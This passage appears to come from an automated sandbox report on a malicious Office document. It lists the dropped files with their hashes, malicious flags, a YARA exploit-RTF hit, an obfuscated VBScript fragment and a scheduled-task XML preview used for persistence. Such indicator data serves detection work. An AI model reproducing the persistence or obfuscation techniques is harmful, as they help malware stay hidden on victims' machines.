Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .l.y.c.a.n.t.h.r.o.p.i.a.(.e.n.a.n.t.h.e.m.a.,. .p.r.e.s.s.u.r.o.s.o.,. .p.u.x.i.r.u.m.,. .s.e.m.i.l.o.u.r.o.,. .e.x.h.i.b.i.c.i.o.n.i.s.m.o.)..... . . . .d.i.m. .f.i.l.t.e.r..... . . . .d.i.m. .d.i.a.l.e.c.t..... . . . .d.i.m. .e..... . . . .d.i.m. .r.e.s..... . . . .d.i.m. .f.o.r.m.a.t.t.e.d.T.e.x.t..... . . . .d.i.m. .f.l.a.g.s..... . . . ..... . . . .f.l.a.g.s. .=. .0..... . . . . ..... . . . .i.f. .p.u.x.i.r.u.m...A.r.g.u.m.e.n.t.E.x.i.s.t.s.(.N.P.A.R.A._.F.I.L.T.E.R.). .t.h.e.n..... . . . . . . . .f.i.l.t.e.r. .=. .p.u.x.i.r.u.m...A.r.g.u.m.e.n.t.(.N.P.A.R.A._.F.I.L.T.E.R.)..... . . . . . . . .d.i.a.l.e.c.t. .=. .U.R.I._.W.Q.L._.D.I.A.L.E.C.T..... . . . .e.n.d. .i.f..... . . . ..... . . . .i.f. .p.u.x.i.r.u.m...A.r.g.u.m.e.n.t.E.x.i.s.t.s.(.N.P.A.R.A._.D.I.A.L.E.C.T.). .t.h.e.n..... . . . . . . . .d.i.a.l.e.c.t. .=. .p.u.x.i.r.u.m...A.r.g.u.m.e.n.t.(.N.P.A.R.A._.D.I.A.L.E.C.T.)..... . . . .e.n.d. .i.f..... . . . ..... . . . .I.f. .L.C.a.s.e.(.d.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2189D102.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	2342852
Entropy (8bit):	2.6417290025884554
Encrypted:	false
SSDEEP:	6144:D8elSEv4mD3f5ReZdZJElOFmBwPuqOag8J0tuGOE68J0P:DJlSDmzCJEu5Lg00jh600P
MD5:	B2020C2F370E4625A9EA3C36EEA00DAF
SHA1:	3BCAF1F0CC2E64FDEC9FD0941BA7903A4772F093
SHA-256:	BF45DCFBDBC932E7AE776DA6BDCB2026E3C51924BFC017DB37482C68C8722C32
SHA-512:	78F17558C35106A343B868C35C9429380CA6F606ABCD7644CF866B67CCB157A57F050173B39C1D4B6C86A20039E4AC7F0B12CA564D754C9DC163C877583C7C08
Malicious:	false
Preview:	....l...............2...........@m..?... EMF.....#.'...4...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3...'.......................%...........................................................L...d...v.../......._...v.../.......1...!..............?...........?................................L...d...................................!..............?...........?............................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6035E009.doc

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	114813
Entropy (8bit):	2.5107851272431225
Encrypted:	false
SSDEEP:	768:LhaJTzmiluIV44M4oQKuJJ7WtgBlIMvxZTzxxL9vRkHSM:qxuIV4T4obuOGWMpZBhFRK
MD5:	0EC3C5F0AFB99AF55C463CD57D7EA776
SHA1:	C8E0C437DBAB0C82EFA8BC71CB7CC5F165C2B813
SHA-256:	34760DD3BC9F5A5E235D6DD938B4104C6EB29712CC981145B48E45CB9D60615F
SHA-512:	FA376045B63850A7F1C8714A1D05D13D514D09A8D1D67C5E220678364D4954E62E31F0E798CA540B908C9362822DC60EDD1859AB303E3899C5912491383211F7
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6035E009.doc, Author: ditekSHen
Preview:	{\rtf1..{\\hO40lRSUdAYZSeTzuRo1vLWrhJ3Eyfl6YWYs5Zig2xAuzTi687oz4eOsng17wmG3OxN0wP9fJO3eXUfIM2HnzroVGAuUimNPFboWpLU6UOVwe47Eb8WaENYQ8fzWo3sq9N9bInZearnyresZuImVKcOGT4ZLk2Yz7AfPsA8yehDsfdgxIRNimy7iGKu746CWCse46qyhho2odPK3oTYM9qWOZI}..{\706404085.77?.2\|=%0.2+?;.%&1%4]%<?>:?6?+)&3?^?!4%0.%?0/0]94:9/$.+=2!/?);'#6-?]6`3?4+?+,-4^_#1%9)99.^.0:'(&$%(`)?!%'%[?&6;)?9\|@3\|23??9?>%!+?~.?,;.?\|^?7-2]#.2$^&~,(_<<.[?,.'4%.<.5]/;1.0>>%5?97.`,&%,%2!3.(?]?(,9>\|?5:),!..21?[..~-?</`=\|%@,;>1=5'39/???9<'.343.4!?..5?`_%(5.:\|6?&/??>@.~#]+64^\|!8./82#11'27[?1?);')7\|?#:%[>\|<'4#[97.^?'\|$%?$].?.?<0%,!?6~.>2?@.-?:/?=.+.31?6;+<%@~?+'0![48(-@]\|.?<.7?_&%[%.?'@;<);).759<&:;.>8`><:8?./&$_?=95-4%-?]/>$?(.<[%?>[/.>&?^<1+[@44882%`@0&-28==?![_...>+%&#9-%.9.>.'%[?%%63['4?!3&%'^=@%?(._]..'?=_(')?^@?8_?>;&-6,=-26/86^%9\|\|-^6?>`4!$\|)7],%[#_.2,#~_:^/;;&?^!'.8?<>?84>%:>!;~.4.6.#\|?&#9:.2^-+:'?.9($64+4:>2.,??6@3,)492@?#3?[?$.`4#$4~3(].:?=];.?%%+0,@?.9:&.%.8>,9?]+9(?@.?)7.50_10+4)?#/!::%%@$.+?&=%;1#5;<7?,~?~_^@\|?8$?.%^21

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6B6D35D3.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	3.16059853246934
Encrypted:	false
SSDEEP:	384:RYklAMoiRJRsHJaTXNazbtcXjRxV6NFHuvzaWKPoVItqUr:hTBQJeXNaz5Srsvu69tZr
MD5:	3ABA86367362FEF04E75E5BA4DE0FED8
SHA1:	BB58718E2FD7F29A4C27CD766B9E6D3BF942B130
SHA-256:	9EA67BF12982DF8204F7C84E8DCA0D5C7FB2C1770A0D5156F5B6E356CD8CFAC9
SHA-512:	C152E6EFC4A9D99F8AA223B50D8466191FF804A8987927F91B758D516D005D17B1698EA523BB9C65CF5997A188AD5CE933A124B9D4C5EB5AB9C15F882762EA2C
Malicious:	false
Preview:	....l...........N................@.._Y.. EMF........O.......................j.......................{.......F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................O.......%...........%...........R...p................................@. C.a.l.i.b.r.i..........................................................................................2%.........d.........H.......P.................E.....H.......H.......P.......7......................@................C.a.l.i.b.r.i.......................................................................................dv......%...........%.......................R...p................................@."C.a.l.i.b.r.i........................................................................................ D.w...........`.......X.......`.................E.....X.......X.......`.......7......................@.N..............C.a.l.i.b.r.i...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\91A11860.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	8084
Entropy (8bit):	2.570503528684488
Encrypted:	false
SSDEEP:	96:j+RiOO++Z397Q2Acgze0xBdEQzBfCC7Boff8oBJ6ANQ4HJV:jt7ecgKgvzBArH
MD5:	A0D51FBAA34316A0B3E02FA2B5BEA0B8
SHA1:	01B3F570EFCA831762B154AC65E11C122319D35D
SHA-256:	BC55995ADDDFBE0105BDACE8E1603EA7E9DA698C0BDC7E91F043578BF6B28157
SHA-512:	93E08DF7E102CCD3D9077284E1E80369A21BA86B9194B72528BB140ABA83E65E7E2DC59471E2484AE805AF1C13E41C6A5273150E2EFAB06CABFA21BC889405E5
Malicious:	false
Preview:	....l.........../...n............9...... EMF................................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................0...o..."...........!...............................................0...o..."...........!...............................................0...o..."...........!...............................................0...o..."...........!...............................................0...o...'.......................%...........................................................L...d...........>...............q.......!..............?...........?................................R...p...................................A.r.i.a.l...............................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A94A9A9A.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	2342852
Entropy (8bit):	2.6417290025884554
Encrypted:	false
SSDEEP:	6144:D8elSEv4mD3f5ReZdZJElOFmBwPuqOag8J0tuGOE68J0P:DJlSDmzCJEu5Lg00jh600P
MD5:	B2020C2F370E4625A9EA3C36EEA00DAF
SHA1:	3BCAF1F0CC2E64FDEC9FD0941BA7903A4772F093
SHA-256:	BF45DCFBDBC932E7AE776DA6BDCB2026E3C51924BFC017DB37482C68C8722C32
SHA-512:	78F17558C35106A343B868C35C9429380CA6F606ABCD7644CF866B67CCB157A57F050173B39C1D4B6C86A20039E4AC7F0B12CA564D754C9DC163C877583C7C08
Malicious:	false
Preview:	....l...............2...........@m..?... EMF.....#.'...4...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3...'.......................%...........................................................L...d...v.../......._...v.../.......1...!..............?...........?................................L...d...................................!..............?...........?............................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B868B297.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	884312
Entropy (8bit):	1.2944965349348616
Encrypted:	false
SSDEEP:	1536:W3dki8JungPuzcn6F1Tny9Cie/koPs9h9RHJFUrnT15vWP5cPpmJ2dvRaQq3vMog:Hux/ZiOE85e+8J2dvRcvMyw
MD5:	9ABE7EB352E0DB96B52C99AC2FDEA85F
SHA1:	8DC45D02308275BA32B7FFB320A3042256D40C8B
SHA-256:	EC022DFF1CC8251BA9D849C16431914635473FC5457AE73AA277651B47948869
SHA-512:	E43325B927F5365F16118B67E1830B2A0E8CC051D9AEAB144DA6A75751CA39CC1831158270A50ED31BCCBA29C98A56769E516F36C45CB5FAA1BB6ED92CC0A5EB
Malicious:	false
Preview:	....l............................2...... EMF....X~..........................8...X....................?...........................................2......................Q....}..........................................P...(...x...$}...... ....2......(...................$}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F6447CE1.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	76472
Entropy (8bit):	3.025081600163608
Encrypted:	false
SSDEEP:	384:luYYST5PIYfLe2b52XPl6hAJC00EddMdf0Ii90Z5xxr8sdEdeC:4igYfqg52XPl6hAJC0irRHC
MD5:	A4B79FF3D7725F69AB98C49A72805D64
SHA1:	8617AF425CE74F816B2CE28FF7BF08A7F5317030
SHA-256:	2DE8B86E62DE48780D92E82B3132F559DF0324A000F9BAFC8CAF3D2789D17CE5
SHA-512:	3B7E25DBDFDAD51FFD8DB140091405FABD3242704C0FD0517CEB10C59E5AF57098CA41C3DCA9F9E80045D8A75EE8415927467457E636EA475C0BE95063C94C49
Malicious:	false
Preview:	....l..............................eQ.. EMF.....*..y.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................L...d...........T...)..............."...!..............?...........?................................L...d.......).......G.......)...........!..............?...........?............................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FD34FD6E.emf

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	38272
Entropy (8bit):	2.8200425031385645
Encrypted:	false
SSDEEP:	192:6/UjPGlVrhaHoq7x0ii1lild6rMT54GtXU+j9hMQmlC+a6gz5nCf5OBgJP+SKA:6/1MH61lq4GtXJMQmlC+a6gz5SOyJ1/
MD5:	C898CDC91D0BD5EFB41E576B8A19E931
SHA1:	B9ED5CAC5A526CF8095AB8F8CE36C39F78422407
SHA-256:	044E7012311B28991E687A081E1AC94B7D7EB80F1BE1970F519E949D01A05CA2
SHA-512:	6BCD700AAB23B2205E8294C3071158CA42D4BA6B4B098CA6B511A386FF2E1F8D6B6A3BED4F307475F03161F96425194DEA5581411D3544E95F6D17BCD3264019
Malicious:	false
Preview:	....l...........c................N...@.. EMF........l.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................d......."...........!...............................................d......."...........!...............................................d......."...........!...............................................d......."...........!...............................................d.......'.......................%...........................................................L...d...........c...............d.......!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{71025B50-9EA6-4B02-92C0-2B9E7555DC6C}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.7991396786456761
Encrypted:	false
SSDEEP:	96:5zG5MPoIarLEXat0uFgdQD8kMPzIaCLEXat0uFgdQD8:5bPoIogATrD81PzI1gATrD8
MD5:	AB9C4C6FBB72F252746B266A3F6ED1ED
SHA1:	4A1C82A02A7CE8431F927199CBB1294210B345AC
SHA-256:	C9E3A21DACD1598900FA77CE8F8136A15ECEEACBF0253C48B75791CE33E7F257
SHA-512:	72B00DA260696C12CF556AE556B21CB2674B1EE7C5F1B1CB677DFBEB7FF7C0D00121605B0AB55CDB313DF55F0DC7B1B4690C57D0AF68F69FA58C1BF02F794AFA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4D939ADF-D22B-4764-85FE-F2C4874C96D2}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{87871A9B-F171-45A7-9BDE-800525B70DE1}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	3.5535312038781326
Encrypted:	false
SSDEEP:	384:RdkzU+Rzrknm8PjsVFGWPrHIE8bqhqoe5HHWIOeVz:4nzrknm0w3pX8OIoIH2IOmz
MD5:	CA74C9AB4089C2AD6192B5DC7DCC27D9
SHA1:	481F4897B6C6C678233D4C474DF3473C2DF40305
SHA-256:	0F4E3D8AFA1A7F49300354ED748BC3CB6FDAFBE32833862E0AAB537CE2B9636A
SHA-512:	79A4B5A3A6EBA9A346B01401CA87718C221BE0B4DD40BA815F5FE4A1D0C1939F69616357C8000B636FE6075354803CC0DC40ABD16837B1BDBE06E5633DB94857
Malicious:	false
Preview:	0.6.4.0.4.0.8.5...7.7.?...2.\|.=.%.0...2.+.?.;...%.&.1.%.4.].%.<.?.>.:.?..6.?.+.).&.3.?.^.?.!.4.%.0...%.?.0./.0.].9.4.:.9./.$...+.=.2.!./.?.).;.'.#.6.-.?.].6.`.3.?.4.+.?.+.,.-.4.^._.#.1.%.9.).9.9...^...0.:.'.(..&.$.%.(.`.).?.!.%.'.%.[.?.&.6.;.).?.9.\|.@.3.\|.2.3.?.?.9.?.>.%.!.+.?.~...?.,.;....?.\|..^.?.7.-.2.].#...2.$.^.&.~.,.(._.<.<...[.?.,...'.4.%...<...5.]./.;.1...0.>.>.%.5.?.9.7...`.,.&.%.,.%.2.!.3...(.?.].?.(.,.9.>.\|.?.5.:.).,.!.....2.1.?.[.....~.-.?.<./.`.=.\|.%.@.,.;.>.1.=.5.'.3.9./.?.?.?.9.<.'...3.4.3...4.!.?.....5.?.`._.%.(.5...:.\|.6.?.&./..?.?.>.@...~.#.].+.6.4.^.\|.!.8.../.8.2.#.1.1.'..2.7.[.?.1.?.).;.'.).7.\|.?.#.:.%.[.>.\|.<.'.4..#.[.9.7...^.?.'.\|.$.%.?.$.]...?...?.<.0.%.,.!.?.6.~...>.2.?.@...-.?.:./.?.=...+...3.1.?.6.;.+.<.%.@..~.?.+.'.0.!.[.4.8.(.-.@.].\|...?.<...*.7.?._.&.%.[.%...?.'.@.;.<.).;.)...7.5.9.<.&.:.;...>.8.`.>.<.:.8.?.../.&.$._.?.=.9.5.-.4.%.-.?.]./.>.$.?.(...<.[.%.?.>.[./...>.&.?.^.<.1.+.[.@.4.4.8.8.2.%.`.@.0.&.-.2.8.=.=.?.!.[._.......>.+.%.&.#.9.-.%...9...>.

C:\Users\user\AppData\Local\Temp\bpeako1v.iv2.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\f2qlyded.z0u.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\sgp51cwp.evm.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\sxzt305u.qfk.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\tmpB50D.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.099785731363393
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtW+xvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTzv
MD5:	92A1BBEF9C072169FD9E433DB74C0402
SHA1:	B3A9A853A46382E52A6EC05112FD9A8B90B2D41A
SHA-256:	18316D6D89E8CEDBA21FD1D84290EA918B09CB1BF766BBBC31CBC8F10C5161B6
SHA-512:	FCDFE34637EC9AB9F284BC4E6D7411D7A0545C388AD4B26B425A502DF40A5238868D1394E6C37425B276DC0F981F9A87F954DB335154BB3779F28C60A9B5223E
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\vlnsbxra.ovi.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\y3jhbpin.zig.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\{25315524-A35C-49F4-829C-29A9CE27D164}

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025547633048975373
Encrypted:	false
SSDEEP:	6:I3DPc1wuT5JzRvxggLRJ075pRXv//4tfnRujlw//+GtluJ/eRuj:I3DPkwu9bt0tHvYg3J/
MD5:	4042A292385DF8F186B5C054491ACD0A
SHA1:	15DA9AD1EAF3DC99679AB1B68393C4F4109AFC90
SHA-256:	AF884FD136A3CBA99547E1078BDFF203465E2FCB12AF0E1A788A5138A09AE516
SHA-512:	DFAD22BF16D892C145C3DDBF5DA164DD7E1445100764378575F8BC7E1177CE4924AD71363FA0D4C1264A481BC54F9B1D705FB9CB9F20FCAD9D435C137A659ABB
Malicious:	false
Preview:	......M.eFy...zrU.D0P.M.....E..S,...X.F...Fa.q...............................8.%H................/]....D..].........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{A6B14366-CBE2-47FB-A8DB-A1A1CBA8FDF5}

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025392573180350965
Encrypted:	false
SSDEEP:	6:I3DPc6fpZC3FvxggLRZjzdN9P0RXv//4tfnRujlw//+GtluJ/eRuj:I3DPdfpKpp9wvYg3J/
MD5:	9381F730953B38228CCDD4A1DCE0ADAE
SHA1:	0AD80432DB9D71A0EF335251D46E77868B207712
SHA-256:	6FD459C12DACF066E5988C6FA4F58D859A25C6F737442E04015C3058A5A050D5
SHA-512:	5A5B8564401C962F271CBA602B84673B80ADC23CCCFA349301C200B54019A36EC01CB675A61DBC5F8368D6AB7DF5E57E9977582AF6B4DBE2EFAFF3DBA994AE55
Malicious:	false
Preview:	......M.eFy...z.X."...J.....(.US,...X.F...Fa.q..............................i..H.....s.I............l.B.>.K.........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF8B1FFFD9F6395A18.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.30405640769210357
Encrypted:	false
SSDEEP:	12:Q1YB6ypFn/RyeukKJil/UVlMyrdgKOB3gl3dDl1c3WhzMakrG41kvp:FUPeu6lGgFBgzceLh41kvp
MD5:	5F353B9476F4D37690421126EA13EA44
SHA1:	4045D89C0A9660613D88ADC1C8B39ADF1C7F476B
SHA-256:	350DD9F7C2A4D4533761CADE01632429D303A65155BC9222B31A9448785BFA71
SHA-512:	3D2BEC3F8E6986CA27F5FCDA34DAEF372509453E6F50F743D201D1B2A214176D58F3ED1F49A7B7E6947EE2CEE279E331CAB657F82226FE35AD4D87A06197205D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF971B86762C7AC513.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFA8EE1EBE9F2E6F97.TMP

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\a080.url

